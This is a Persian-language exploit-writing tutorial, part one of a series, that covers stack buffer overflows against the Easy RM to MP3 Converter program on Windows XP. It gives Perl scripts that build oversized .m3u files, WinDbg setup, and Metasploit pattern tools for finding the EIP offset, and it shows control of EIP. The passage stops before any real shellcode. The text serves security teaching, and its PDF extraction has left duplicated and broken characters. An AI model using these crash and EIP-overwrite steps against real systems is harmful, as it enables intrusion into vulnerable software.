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سیب پذیر 

ٓ
  باشد و به همین مقاله پیوست شده است.می  2.7.3.700نسخه  Easy RM to MP3 Converterبرنامه ا

  
        بررسی اشکالبررسی اشکالبررسی اشکالبررسی اشکال

        
یا برنامه 

ٓ
می شود یا ناهنجار و غیر معمول خراب  m3uبا باز کردن یک فایل پیش از هر چیز بیایید بررسی کنیم که ا

سیب پذیر را بر روی کامپیوتری که از سیستم عامل ویندوز 
ٓ
استفاده می کند نصب کنید.  XPخیر. بسیار خب، برنامه ا

سیب پذیری ذکر شده که بر روی 
ٓ
 Service Pack 3اما من از  تست شده Service Pack 2 (English)در گزارش این ا

(English) .استفاده می کنم  
  

سیب پذیری کمک می کند استفاده  m3uرل زیر برای ساختن فایل ما از اسکریپ پ
ٓ
که به ما در اکـتشاف اطiعات این ا

  میکنیم:

 
  

 معادل هگزا A" )\x41"کاراکـتر  10000جاد شده حاوی یفایل ا ایجاد شود. m3uاین اسکریپ را اجرا کنید تا فایل 
لود کنید، برنامه خطایــی که البته  Easy RM to MP3 Converterاین فایل را در می باشد)  Aدسیمال کاراکـتر 

اسکریپت را به منظور تولید و هیچ گونه خرابی ای در برنامه رخ نمی دهد.  توسط برنامه کنترل شده را نمایش میدهد
 30000حال اسکریپ را برای ایجاد  عکس العملی مشابه قبل...  و دوباره امتحان میکنیم....تغییر کاراکـتر  20000
  ر تغییر میدهیم.... کاراکـت

 ما می خواستیم.
ً
ــی رخ داد، چیزی که دقیقا   برنامه خراب شد و خطای

بایت که حاوی  30000تا  20000 ن شد که در صورت خوراندن فایلی غیر معمول به طولبسیار خوب، نتیجه ای
  سودی دارد؟چه  این کار ، امااست میتوانیم روال برنامه را خراب کنیم Aکاراکـتر 

        
    
    
    
    

my $file = "Crash.m3u;" 

my $junk = "\x41" x 10000; 

open ($FILE,">$file"); 

print $FILE $junk; 

close ($FILE); 
print "m3u File Created Successfully."; 
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        ذابیت بررسی باگذابیت بررسی باگذابیت بررسی باگذابیت بررسی باگجججج
 همه خرابی های برنامه ها منجر به اکسپلویت شدن نمی شود 

ً
و بویژه در این مورد خاص این کار اوقات اما گاهی مصلما

  انجام پذیر است.
ن عمل Exploitationبا استفاده از 

ٓ
ن تعریف ، برنامه مجبور به انجام عملی می گردد که راغب به انجام ا

ٓ
نبوده و برای ا

نرا تولید می کنید، مثi اجرا کردن کدنشده است
ٓ
ساده ترین راه برای مجبور کردن برنامه به انجام کاری  .ی که شما ا

این عمل . )قسمتی غیر از قسمت اصلیبه  تغییر جریان اصلی برنامهبرنامه است (روال متفاوت از رده کاریش، کنترل 
اشاره گر به محل  واست  CPUکه یک ثبات  (یا شمارنده برنامه) صورت گیرد Instruction Pointerمیتواند با کنترل 

  می باشد. اجرا شود CPUباید توسط  دستورالعمل بعدی
درس فعلی ای کفرض کنید یک برنامه تابعی را با پارامتری صدا میزند. 

ٓ
ن قرار داریم قبل از رفتن به این تابع ا

ٓ
ه در ا

درس برگشت بنابراینشود (ذخیره می  Instruction Pointerدر
ٓ
اگر شما مقدار . )کار تابع را داریم اتمامبعد از  یحا� ا

کد شماست تغییر دهید شما قادر به تغییر روند برنامه شده و می قطعه حافظه که حاوی  قسمتی ازاین شاره گر را به 
 را . کدی که شما میخواهید بعد از کنترل روند برنامه اجرا کنیدکه میخواهید کنیدفرمانی به اجرای توانید برنامه را مجبور 

اشاره . کردیم اکسپلویتاکسپلویتاکسپلویتاکسپلویتتغییر دهیم برنامه را خود  شل کدبر اساس اجرای . بنابراین اگر ما برنامه را می نامیمشل کد شل کد شل کد شل کد 
 به دستورالعمل گر 

ً
 4این اگر شما قادر به تغییر این است. بنابر بایتی  4یک ثبات  EIP. می گوییم EIPرا اصطiحا

ورده اید.بایت باشید
ٓ
  ، شما برنامه را به تسخیر خود درا

  
        چند تئوری پیش از روند اجرایــیچند تئوری پیش از روند اجرایــیچند تئوری پیش از روند اجرایــیچند تئوری پیش از روند اجرایــی

  
  :را در درک بهتر موضوع کمک میکندچند اصطiح که شما توضیح 

  است:اصلی جزء  3مل حافظه پروسه شاهر برنامه ویندوز از بخش هایــی از حافظه استفاده میکند. 
  

• Code Segment ) کهText Segment  هم نامیده میشود سایز ثابتی دارد و فقط خواندنی است اما قابلیت
  ).شامل دستورالعمل های اجرائی برنامه استتغییر داده شدن را هم دارد و 

• Data Segment ) درس متغيرها موقت است متحرک برای ذخيره متغيرها و حافظه هایقسمتی از نامه که
ٓ
. ا

فستی از شروع اين سگمنت محاسبه می شوند
ٓ
  ).به صورت ا

• Stack Segment ) عات به توابعiو ذخیره از این سگمنت برای ارسال اط
درس رفت و 

ٓ
 بازگشت به توابع استفاده می شود.)ا
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 به حافظه پشته دسترسی داشته باشید می توانید از 
ً
پشته)  به = اشاره گر ESP )Stack Pointerاگر میخواهید مستقیما

درس حافظه پشته که به با�ی
ٓ
  اشاره میکند استفاده کنید.) (پایین ترین ا

  

  
  

 با اجرای این دستور استفاده می کنیم.  PUSH دستور  از Stack Segmentبرای قرار دادن اطiعات درون  •
ESP درس حاف

ٓ
 .ه اشاره خواهد کرد ظبه پایین ترین ا

 :انجام می شود CPU شود عمليات زير توسط push پشتههنگامی که يک کلمه در 

 .کم می شود SP دو واحد از ثبات .1
درس .2

ٓ
 .کپـی می شود SS:SP کلمه مورد نظر در ا

 

 ESP با اجرای این دستور استفاده میکنیم.  POPاز دستور  Stack Segmentبرای بیرون کشیدن اطiعات از  •
درس به با�ترین 
ٓ
 حافظه اشاره خواهد کرد.ا

  

 :انجام می شود CPU شود عمليات زير توسط pop گامی که يک کلمه از پشتههن

درس .1
ٓ
 .يک کلمه خوانده می شود SS:SPاز ا

  اضافه می شود. SP دو واحد به ثبات .2

به را تابع والد پارامتر های این چهار چوب  وارد شدیم، چهارچوب پشته ساخته می شود.یک تابع/روال  هنگامی که به
رگومنظور ارسال 
ٓ
بوسیله  دسترسی به متغیر های محلیو  ESPپشته بوسیله   نگهداری می کند.زیربرنامه ها مان ها به ا

EBP  گیردمی در دسترس قرار.  
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  ) عبارتند از:CPU )Intel, x86ثبات های معمول 
  General Purpose RegisterGeneral Purpose RegisterGeneral Purpose RegisterGeneral Purpose Register    : : : :     همه منظورههمه منظورههمه منظورههمه منظورهثبات های ثبات های ثبات های ثبات های 

• EAX: ) انبارهAccumulator  ثباتی است همه منظوره و نزدیک ترین ثبات به  ):ی یا واحد پردازش مرکز
بخش پردازش کننده پردازنده است که عملیات ریاضی و   ALU)=Arithmatic and Logical Unit قسمت

 است، به همین دلیل سرعت محاسباتی نسبت به بقیه ثبات ها بیشتر است، اکـثر ).منطقی را انجام می دهد
در عملیات ورودی و خروجی  می گیرد، به عنوان یک انباره به طور ضمنی عملیات ریاضی در این ثبات انجام

 .استفاده می شود

• EBX:  پایه یا)Base:( وه برiدرس دهی نقش ثبات پایه را  این ثبات ع
ٓ
همه منظوره بودن، در برخی روش های ا

 .ه باشدمتعلق به بخش داد Offset به غیر از عملیات ریاضی می تواند به عنوان بازی می کند،

• ECX:  شمارنده یا)Counter:(  به عنوان یک شمارنده در دستورالعمل های حلقه و یا پردازش رشته و
 .همچنین دستورالعمل های دستکاری بیت ها استفاده می شود

• EDX : داده یا)Data( : به نوعیEAX اجازه محاسبات پیچیده تر (ضرب و تقسیم) و و  وسیع تر شده است
نها را می دهد.اجازه ذخیره داد

ٓ
 ه های بزرگ به منظور سهولت انجام محاسبه ا

  
  : Pointer Register :Pointer Register :Pointer Register :Pointer Register    ثبات های پشتهثبات های پشتهثبات های پشتهثبات های پشته

• ESP :)Stack Pointer :(فست مکانی از سگمنت پشته که عمل قرار گرفتن داده در پشته صورت می گيرد
ٓ
و  ا
 .به با�ی پشته اشاره دارد

• EBP :)Base Pointer :(لی که در پشته قرار دارند استفاده می شود.برای دسترسی به متغيرهای مح 
  

 : Index Register :Index Register :Index Register :Index Register    ثبات های شاخصثبات های شاخصثبات های شاخصثبات های شاخص

• ESI: )Source Index :(درس دهی و در عمليات رشته ای بعنوان مبدا استفا
ٓ
 ه می شود.دبرای ا

• EDI :)Destination Index( :.درس دهی و در عمليات رشته ای بعنوان مقصد استفاده می شود
ٓ
 برای ا

  
 اره گر دستورالعملاره گر دستورالعملاره گر دستورالعملاره گر دستورالعملثبات های اشثبات های اشثبات های اشثبات های اش

• EIP :)Instruction Pointer:( دستورالعمل در حال اجراست.اشاره گر به 
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  نقشه حافظه پروسه چیزی شبیه به این است:
  

  .text (code)  
 0x00000000� با�ی پشته (پایین

  حافظه)

  .data    

  .bss    

  Heap – malloc'ed data   

  ...    

  heapبا�ی 
  با�ی پشته

Heap  ه پایین رشد می کند) (ب �  
  –حافظه غیر قابل استفاده 

     � پشته (به با� رشد میکند) 

  

  ...   

  Argc   

  ***argv   

  ***envp   

رگومان های خط فرمان  
ٓ
    ا

 Environment vars  پایین پشته
 0xFF000000درس های با�یــی�
ٓ
 ا

  (با�ی حافظه)

  
  

. این خاصیت از تغییر دادن کد برنامه جلوگیری ای برنامه استفقط خواندنی است و فقط شامل کد ه Textسگمت 
در و سراسری خیره متغیر های ثابت ذبرای  bssسگمنت حافظه سایز ثابتی دارد. سگمنت داده و سگمت می کند. 

مورد ، رشته ها و دیگر محتویات سراسری مقدار دهی شده سگمت داده برای متغیر های استفاده می شود.  برنامه
 bssسگمت داده و  برای متغیرهای مقدار دهی نشده مورد استفاده قرار میگیرد. bssسگمت  اده قرار می گیرد.استف

برنامه مورد استفاده قرار میگیرد و برای دیگر متغیر های  heapسگمنت  ثابتی دارند.قابل نوشتن هستند و سایز 
بوسیله الگوریتم های تخصیص مدیریت  heapدر تمام حافظه ها  یا کوچک باشد. بزرگمیتواند بسته به میل ما 

درس  رو به پایین رشد میکند. Heap رزرو میشود. میشوند. یک ناحیه حافظه بوسیله این الگوریتم 
ٓ
(به سمت با�ترین ا

  حافظه)
  

خرین) کار میکند.  LIFO )Last in first outبا   پشته یک ساختار داده است که
ٓ
 اولینمیشود  PUSHای که داده  ا

 پشته شامل متغیر های داخلی، فراخوانی توابع و اطiعات دیگری است که نیاز .می شود POPداده ای خواهد بود که 
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همانطور که داده به پشته اضافه میشود، به شکل فزاینده ای کاهش مقدار زمان زیادی ذخیره شوند.  نیست مدت 
درس دهی نیز شکل میگیرد.

ٓ
 ا

 

 
  

ن به پشته نشانده می شود و همچنین مقادیر ذخیره شده نیز در ثبات هر بار که تابعی فرا خوان
ٓ
ده میشود، پارامترهای ا

شده و  POPنیز   EIPهنگامی که از داخل تابع برمیگردیم، داده های ذخیره شده در  .)EIP, EBPها ذخیره میشوند (
 در 

ً
  .قرار میگیرد، بنابراین روال عادی برنامه ادامه پیدا میکند EIPمجددا

  
  فراخوانده میشود، موارد زیر اتفاق می افتد: do_something(param1)پس زمانی که تابع 

  

 )(نشاندن تمامی پارامترها، به صورت وارونه به پشته param1*نشاندن  •

 . موارد زیر رخ میدهد:do_somethingصدا زدن تابع  •

o  نشاندنEIP (که ما میتوانیم به موقعیت اصلی برگردیم) 

o در داده اجرا میشود که نقش نشاندن  پرولوگEBP  .مورد نیاز ماست چراکه باید امر این را ایفا میکند
EBP  مقادیر مرجع پشته تغییر دهیم. این کار بوسیله قرار دادن را به منظورESP  درEBP  بنابراین)
EBP تمامی موارد داخل پشته(در چهارچوب برنامه حاضر) میتوانیم به می شود و  برابر با� پشته

 )جوع کنیمبراحتی ر 

رایه ای حقیقی از داده ها) •
ٓ
 متغیرهای محلی (ا

ً
در مثال ما این کار به پشته نشانده میشود.  نهایتا

do_something::buffer[128] .است 
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  لی برمیگردد.سپس هنگامی که تابع به اتمام میرسد روند برنامه به تابه اص
  

.text 

.data 

.bss 

Do_something::buffer[128] 

EBP ذخیره شده  

EIP ذخیره شده 

Ptr to param1 

Main() local vars 

Envp, argv, etc 

 
(که پارامترهای  do_something:bufferهنگامی که شما قصد دارید سرریزی بافر اتفاق بیافتد نیاز به بازنویسی 

ن اشاره می کند) ’ptr to param1‘ست یعنی جایــی که حقیقی داده ا
ٓ
نذخیره شده و  EBPدارید،  به ا

ٓ
درس ا

ٓ
 EIPدر  ا

اشاره خواهد کرد.  EIPاشاره گر پشته به محلی بعد از محل ذخیره  EBP+EIP. بعد از بازنویسی بافر+نوشته می شود
مقداری که شما در طول شته را میگیرد و شده به پ popمقادیر   EIPبازمیگردد،  do_somethingهنگامی که تابع 

درس برگشتی را EIPبواسطه کنترل  نتیجه اینکه سرریزبافر ایجاد کردید را شامل میشود.
ٓ
 ا
ً
به به تابعی که  شما اساسا

درس برگشت را تغییر دهید دیگر البته   .اجرا خواهد شد تغییر میدهیدمنظور ادامه روند عادی برنامه 
ٓ
زمانی که شما ا

مورد نظر خود را در جایــی که باشید و کد  EIPو  EBPشما قادر به بازنویسی بافر،  اگر برنامه  عادی نخواهد بود.روند 
"prt to param1 ،قرار دارد بنویسید بعد از ارسال بافر "ESP .بنابراین کنترل برنامه  به ابتدای کد شما اشاره می کند

  ست.به شروع کد شما EIPبه دست شما مستلزم اشاره 
  

نیاز داریم تا  )و ... Instruction Pointer،  Stack Pointerبه منظور مشاهده وضعیت پشته (مقدار ثبات ها همچون 
  تا به بررسی زمانی که برنامه اجرا می شود به خصوص هنگام کرش کردن بپردازیم.دیباگری به برنامه قiب کنیم 

  
نها استفاده میکنم  4دیباگرهای زیادی برای این منظور وجود دارند  

ٓ
، gbWindدیباگر که اغلب اوغات من از ا

OllyDbg ،Immunity’s Debugger  وPyDBG .هستند 
 

" با استفاده از Post-mortem استفاده کنیم. برنامه را نصب کنید (نصب کامل) و اونو به عنوان " Windbgبیایید از 
windbg –I .ثبت کنید  
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درس  xxxx has encountered a problem and needs to close "همچنین میتونید برای غیر فعال کردن 
ٓ
" به ا

 قرار دهید: 0را برابر  Autoمقدار  رفته ورجیستری زیر 
 
  
  

  به عکس زیر توجه کنید:
 
 
 
 
 
 
 
 
  
  

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug 
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پوشه ای ایجاد کنید (ما در این مسیر این پوشه را فایل ها  Symbolنسبت به نبود  Windbgرفع نقصان به منظور 
را انتخاب کنید  Symbol File Pathگزینه  Fileرفته از منوی  windbgحال به   . )c:\windbgsymbolsایجاد کردیم 

  و رشته زیر را در پنجره ظاهر شده وارد کنید:
  

        ))))باشد.باشد.باشد.باشد.    وارد شدهوارد شدهوارد شدهوارد شده    Symbol File PathSymbol File PathSymbol File PathSymbol File Pathمطمئن شوید که تنها همین خط در مطمئن شوید که تنها همین خط در مطمئن شوید که تنها همین خط در مطمئن شوید که تنها همین خط در     استفاده نکنید.استفاده نکنید.استفاده نکنید.استفاده نکنید.    EnterEnterEnterEnterاز از از از بعد از این بعد از این بعد از این بعد از این (تذکر: (تذکر: (تذکر: (تذکر: 
  

  خیلی خب شروع میکنیم.
  

Easy RM to MP3   را باز کنید و سپس فایلcrash.m3u  خراب میشود و برنامه  گزاری کنید. رو در برنامه بار 
ً
مجددا

اجرا خواهد شد، در غیر این صورت در صورتی که پنجره ای سوالی پیش روی شما قرار گرفت بر روی  windbgبرنامه 
  اجرا شود. windbg" کلیک کنید تا Debugدکمه "

  

  
  
  

   می باشد. ”AAAA“هگزادسیمال است که  41414141حاوی  Instruction Pointerهمانطور که مشاهده می کنید 
  

SRV*C:\windbgsymbols*http://msdl.microsoft.com/download/symbols 
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درس ها به صورت Inter x86Inter x86Inter x86Inter x86ادامه: در سری ادامه: در سری ادامه: در سری ادامه: در سری یک تذکر پیش از یک تذکر پیش از یک تذکر پیش از یک تذکر پیش از 
ٓ
درس ها به صورت ، ا
ٓ
درس ها به صورت ، ا
ٓ
درس ها به صورت ، ا
ٓ
ذخیره می شوند (به صورت وارونه) ذخیره می شوند (به صورت وارونه) ذخیره می شوند (به صورت وارونه) ذخیره می شوند (به صورت وارونه)     LittleLittleLittleLittle----EndianEndianEndianEndian، ا

        نمایش داده می شود.نمایش داده می شود.نمایش داده می شود.نمایش داده می شود.    DCBADCBADCBADCBAطی این فرایند به شکل طی این فرایند به شکل طی این فرایند به شکل طی این فرایند به شکل     ABCDABCDABCDABCDیعنی یعنی یعنی یعنی 
  

ما توانایــی سرریزی  شده است.فر در بافر خوانده شده است و موجب سرریزی با m3uقسمتی از فایل به نظر میرسد 
سیب پذیری ها را سرریز بافر یا سرریز پشته می نامند.را داریم.  Instruction Pointerبافر و نوشتن در 

ٓ
  این نوع از ا

  
به . بنویسیم EIPبود ما دقیقا نمی دانستیم که چه مقدار بافر نیاز داریم تا دقیقا در  Aاز زمانی که فایل ما تنها شامل 

 را طوری به برنامه می توانیم داده ی قابل استفاده ،را در باز نویسی مشخص کنیم EIPن دیگر اگر بخواهیم بیا
درس برگشت را  buffer/payloadحال باید محل دقیق  بخورانیم که به کد های ما پرش کند

ٓ
ن که ا

ٓ
بازنویسی می در ا

 بدانیم. کنیم 
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    EIPEIPEIPEIPنوشتن در نوشتن در نوشتن در نوشتن در     تعیین سایز بافر برایتعیین سایز بافر برایتعیین سایز بافر برایتعیین سایز بافر برای
    

حا� میتوانیم به طور بالقوه تمام فضای حافظه بایت از بافر قرار دارد.  30000و   20000جایــی بین  EIPمیدانیم که 
درسی که میخواهیم  30000و  20000بین 

ٓ
ن بازنویسی کنیم. EIPرا با ا

ٓ
که ممکن است کار کند اما بهتر این است  را با ا

فست دقیق ما محل دقیق را برای بازنویس
ٓ
در بافر، نیاز به مقداری کار اضافی  EIPی فراهم کنیم. به منظور تعیین ا

  داریم.
  

  ابتدا، بیایید محدوده را بوسیله تغییر در اسکریپ پرل محدود کنیم :
  

 B کاراکـتر را 5000و باقی  Aکاراکـتر  25000بیایید بایت های استفاده شده را دو نیم کنیم. ما فایلی می سازیم حاوی 
قرار دارد و اگر حاوی  25000تا   20000بین  EIP) بود، AAAA( 41414141حاوی  EIPمی گذاریم. در صورتی که 

42424242 )BBBB بود (EIP  قرار دارد. 30000تا  25000بین  

  
  فایل ایجاد شده در برنامه باز کنید.

  

  
  
  

EIP  42424242حاوی )BBBB شد، در نتیجه (EIP  به بیان دیگر باقی قرار دارد 300000تا  25000ما جایــی بین .B 
ن اشاره می کند. ESPها را در حافظه داریم یعنی جایــی که 

ٓ
  به ا

  

 

my $file= "crash25000.m3u"; 

my $junk = "\x41" x 25000; 

my $junk2 = "\x42" x 5000; 

open($FILE,">$file"); 

print $FILE $junk.$junk2; 

close($FILE); 

print "m3u File Created successfully\n;" 
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  )d espرو در شکل زیر مشاهده میکنید ( ESPمحتویات رونوشت 

  

  
  

  مشاهده کنیم. ESPرونویسی کردیم و همچنین می توانیم بافر در  BBBBرا با  EIPموضوع جالبی شد. ما 
  رونویسی میشود را پیدا کنیم. EIPجایــی که برش از شروع نگارش اسکریپت باید محل دقیق پی
  

  استفاده میکنیم. Metasploitبرای یافتن محل دقیق از برنامه 
درس بازگشت ذخیره شده، کمک میکند. این  Metasploitبرنامه 

ٓ
به ما در محاسبه فاصله دقیق میان انتهای بافر و ا

با استفاده از این رشته ما میتوانیم   ی تولید میکند که حاوی یک الگوی منحصر به فرد است. برنامه یک رشته ا
درس بازگشت چه میزان است.

ٓ
  دریابیم اندازه بافر مورد نیاز برای سرریز پشته و بازنویسی ا

  
وید، فایلی بنام (من از نسخه ویندوز این برنامه استفاده میکنم) بر  toolsو  msf3سپس  Metasploitبه محل نصب 

pattern_create.rb  کاراکـتر تولید کنید. برای انجام اینکار به شکل  5000در این پوشه وجود دارد. الگویــی به طول
  زیر توجه کنید:

 

C:\framework\msf3\tools>pattern_create.rb 
Usage: pattern_create.rb length [set a] [set b] [set c] 

 
C:\framework\msf3\tools>ruby pattern_create.rb 5000 > patt5000.txt 



موزش اکسپلویت نویسی
ٓ
موزش اکسپلویت نویسیا
ٓ
موزش اکسپلویت نویسیا
ٓ
موزش اکسپلویت نویسیا
ٓ
 قسمت اول: سرریزی برپایه پشتهقسمت اول: سرریزی برپایه پشتهقسمت اول: سرریزی برپایه پشتهقسمت اول: سرریزی برپایه پشته ا

 

        واحد امنیت شبکه و تحقیقات سایبری واحد امنیت شبکه و تحقیقات سایبری واحد امنیت شبکه و تحقیقات سایبری واحد امنیت شبکه و تحقیقات سایبری     13131313
info@0days.irinfo@0days.irinfo@0days.irinfo@0days.ir    

    

 
نرا باز کنید و محتویات  patt5000.txtدر فولدر فوق فایلی بنام 

ٓ
اسکـتریپ پرل را به مقادیر  junk2$ساخته شده، ا

  نوشته شده تغییر دهید: patt5000.txtکه در فایل ساخته شده ای 

  
  

از باز کنید و  RM to MP3 Converterدر فایل ایجاد شده را  جدید ایجاد شود. m3uاسکریپت را اجرا کنید تا فایل 
  نت برداری کنید: EIPمقدار 

  
  

  
  

ن  6a ،33، 42، 32برابر با  little-endianشد (که به صورت 0x336a4232برابر  EIPمقدار 
ٓ
است که مقدار اسکی ا

 )می شود 3jB2برابر 
  

 استفاده می کنیم برای اینکار  Metasploitاز یکی دیگر از ابزار  EIPحال برای محاسبه اندازه بافر پیش از نوشتن در 
 
 
 
 

  و طول بافر را که برای تولید رشته استفاده کرده بودیم وارد می کنیم: EIPمقدار 
  

my $file= "crash25000.m3u"; 

my $junk = "\x41" x 25000; 

my $junk2 = " کاراکتر توليد شده را اینجا قرار دھيد 5000 "; 
open($FILE,">$file"); 

print $FILE $junk.$junk2; 

close($FILE); 
print "m3u File Created successfully\n"; 

C:\framework\msf3\tools>ruby pattern_offset.rb 0x336a4232 5000 
1058 
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مد. اگر ما  EIPن در طول مورد برای نوشت
ٓ
و جمع کنیم  1058با بوده را  Aبایتی که پیش از این حاوی  25000بدست ا

ن اضافه کنیم 42 42 42 42(به صورت هگزا  Bکاراکـتر  4سپس 
ٓ
 خواهد شد 42 42 42 42ما برابر  EIP) را به ا

ما اشاره میکند بعد از نوشتن در به داده های بافر  ESPهمچنین با علم به این موضوع که  .)  26058=25000+1058(
EIP  تعدادیC :به رشته اضافه می کنیم  
  
 

crash25000.m3u  را درRM to MP3 Converter .حا� به  باز کنیدEIP  و محتویاتESP :نگاه کنید  
  

  
  
  

 میخواستیم. حا� ما کنترل BBBBحاوی  EIPبسیار خوب، 
ً
 Cبه  ESPرا در دست داریم و  EIP، چیزی که دقیقا

  اشاره میکند.
  

نالیز روی سیستم من است اگر شما 
ٓ
فستی که در با� نمایش داده شده نتیجه ا

ٓ
نالیز روی سیستم من است اگر شما نکـته: ا

ٓ
فستی که در با� نمایش داده شده نتیجه ا

ٓ
نالیز روی سیستم من است اگر شما نکـته: ا

ٓ
فستی که در با� نمایش داده شده نتیجه ا

ٓ
نالیز روی سیستم من است اگر شما نکـته: ا

ٓ
فستی که در با� نمایش داده شده نتیجه ا

ٓ
در حال انجام دستورات هستید در حال انجام دستورات هستید در حال انجام دستورات هستید در حال انجام دستورات هستید نکـته: ا

درس برای شما متفاوت باشد
ٓ
درس برای شما متفاوت باشدممکن است این ا
ٓ
درس برای شما متفاوت باشدممکن است این ا
ٓ
درس برای شما متفاوت باشدممکن است این ا
ٓ
        پس سورس ها را بدون اعمال تغییرات استفاده نکنید.پس سورس ها را بدون اعمال تغییرات استفاده نکنید.پس سورس ها را بدون اعمال تغییرات استفاده نکنید.پس سورس ها را بدون اعمال تغییرات استفاده نکنید.    ممکن است این ا

    
    

my $file= "crash25000.m3u  " ; 

my $junk= "A" x 26058; 

my $eip = "BBBB"; 

my $espdata = "C" x 1000; 

open($FILE,">$file"); 

print $FILE $junk.$eip.$espdata; 
close($FILE); 
print "m3u File Created successfully\n"; 
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موزش اکسپلویت نویسیا
ٓ
 قسمت اول: سرریزی برپایه پشتهقسمت اول: سرریزی برپایه پشتهقسمت اول: سرریزی برپایه پشتهقسمت اول: سرریزی برپایه پشته ا
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 جدول زیر است:بافر اکسپلویت ما چیزی شبیه به 

  بافر  ESP  EIP EBPاشاره 

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCC 

BBBB  AAAA  A (x 26058) � 

434343434343…43  
424242

42  
414141

41  
41414141414141

…41  

  بایت 26058  بایت 4  بایت 4  بایت 1000
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موزش اکسپلویت نویسیا
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  پشته نیز چیزی شبیه جدول زیر است:
  

  .text 
(پایین  با�ی پشته

  حافظه)

  .data    

  .bss    

 do_something[128]بافر 
  (که حا� بازنویسی شده)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAA... 
 (بایت26058)

  

EBP  ذخیره شده (که حا�
  بازنویسی شده)

AAAA    

EIP  ذخیره شده (که حا�
  بازنویسی شده)

BBBB   

Ptr to param1   که حا�)
  بازنویسی شده)

CCCCCCCCCCCCC 
� ESP  به اینجا

  اشاره میکند

  Main() local vars   

  Envp, argv, etc  
(با�ی  ایین پشتهپ

  حافظه)

  
  

درس  EIPدر  BBBBهنگامی که تابع قصد بازگشت را دارد، 
ٓ
هدایت می  BBBBقرار داده شده بنابراین روال برنامه به ا

  شود.
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        شل کدشل کدشل کدشل کدزبانی زبانی زبانی زبانی یافتن محلی از حافظه برای مییافتن محلی از حافظه برای مییافتن محلی از حافظه برای مییافتن محلی از حافظه برای می
        
نجا قرار دارد، اما این  شل کدرا به هر محلی منتقل کنیم، جایــی که  EIPرا کنترل کردیم پس میتوانیم  EIPما 

ٓ
ما در ا

ن بنویسیم ؟
ٓ
  مکان کجای حافظه قرار دارد و ما چگونه میتوانیم در ا

د Aکاراکـتر  26096به منظور خراب کردن برنامه ما 
ٓ
) را نیز کنترل EIPرس بازگشت (را در حافظه نوشتیم همچنین ا

  کردیم.
, …). d esp, d eax, d ebx, d ebpرونوشت بگیرید (وقتی برنامه خراب شد نگاهی به ثبات ها کنید و از تمام داده ها 

به معنای توانایــی شما در  ها) در یکی از ثبات ها شدید Cها چه  Aاگر قادر به مشاهده بافر های خود (حا� چه 
نها با جایگزین کرد

ٓ
اشاره  C نظر به به ESPمیبینیم کهخود و پرش به این منقطه خواهد بود. در این مثال  شل کدن ا

درس پرش به  EIPمی نویسیم و در  Cرا به جای  شل کدپس با این تصور ما میکند. 
ٓ
وجود با . را قرار می دهیم ESPا

 ما قادر به مشاهده 
ً
 به اولین  ESPئن باشیم که ها هستیم اما نمیتوانیم مطم Cاینکه مسلما

ً
  اشاره میکند. Cدقیقا

ن قرار میدهیم  Cبه جای  را تغییر می دهیم و یک الگوی ساخته شده از کاراکـترها را اسکریپت پرلپس ما 
ٓ
(من در ا

  کاراکـتر استفاده کردم، شما میتوانید کمتر یا بیشتر استفاده کنید.) 144
  

درس  بارگزاری کنیدفایل جدید را در برنامه 
ٓ
  رونوشت بگیرید. ESPو از محتویات حافظه در ا

  

  

my $file= "crash25000.m3u  " ; 

my $junk= "A" x 26058; 
my $eip = "BBBB"; 
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" . 
"5ABCDEFGHIJK6ABCDEFGHIJK" . 
"7ABCDEFGHIJK8ABCDEFGHIJK" . 
"9ABCDEFGHIJKAABCDEFGHIJK". 
"BABCDEFGHIJKCABCDEFGHIJK"; 
open($FILE,">$file"); 
print $FILE $junk.$eip.$shellcode; 
close($FILE); 
print "m3u File Created successfully\n"; 
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ٓ
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 قسمت اول: سرریزی برپایه پشتهقسمت اول: سرریزی برپایه پشتهقسمت اول: سرریزی برپایه پشتهقسمت اول: سرریزی برپایه پشته ا
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  مورد جالب در اینجا مشاهده می کنیم: 2ما 

• ESP  غازگر
ٓ
 می باشد. ESPاز اولین کاراکـتر الگوی ما استفاده نمیکند، بلکه پنجمین کاراکـتر الگوی ما ا

اولین قسمت از بافر خود هایــی است که در  Aها را مشاهده کنیم که خیلی شبیه  Aبعد از الگو میتواینم  •
فر را هم داریم(پیش از بازنویسی در اولین قسمت با شل کداستفاده کردیم بنابر این ما توانایــی قرار دادن 

درس بازگشت).
ٓ
 ا

  
کاراکـتر در با�ی الگو قرار میدهیم و مجددا تست میکنیم. اگر این کار  4با این حال ما از این را استفاده نمیکنیم. ابتدا 

  باید به اولین کد الگوی ما اشاره کند. ESPرست انجام دهیم را د

  
  

 رنامه دهید و به فایل جدید را به برنامه ب
ً
  را رونوشت بگیرید: ESPمحتویات مجددا

  

  
  

  خیلی عالی شد !
  

my $file= "crash25000.m3u  " ; 

my $junk= "A" x 26058; 
my $eip = "BBBB"; 
my $preshellcode = "XXXX"; 
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" . 
"5ABCDEFGHIJK6ABCDEFGHIJK" . 
"7ABCDEFGHIJK8ABCDEFGHIJK" . 
"9ABCDEFGHIJKAABCDEFGHIJK". 
"BABCDEFGHIJKCABCDEFGHIJK"; 
open($FILE,">$file"); 
print $FILE $junk.$eip.$preshellcode.$shellcode; 
close($FILE); 
print "m3u File Created successfully\n"; 
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موزش اکسپلویت نویسیا
ٓ
موزش اکسپلویت نویسیا
ٓ
موزش اکسپلویت نویسیا
ٓ
 قسمت اول: سرریزی برپایه پشتهقسمت اول: سرریزی برپایه پشتهقسمت اول: سرریزی برپایه پشتهقسمت اول: سرریزی برپایه پشته ا

 

        واحد امنیت شبکه و تحقیقات سایبری واحد امنیت شبکه و تحقیقات سایبری واحد امنیت شبکه و تحقیقات سایبری واحد امنیت شبکه و تحقیقات سایبری     19191919
info@0days.irinfo@0days.irinfo@0days.irinfo@0days.ir    

    

  حا� ما موارد زیر را داریم:

 EIPکنترل  •

نجا هستیم •
ٓ
 محلی که قادر به نوشتن کد کدمان در ا

•  
ً
درس ثباتی که مستقیما

ٓ
 به کد ما اشاره می کند ”000ff730“در ا

  
  حا� نیاز داریم به:

 واقعی شل کدساختن یک  •

درس شروع  EIPهدایت  •
ٓ
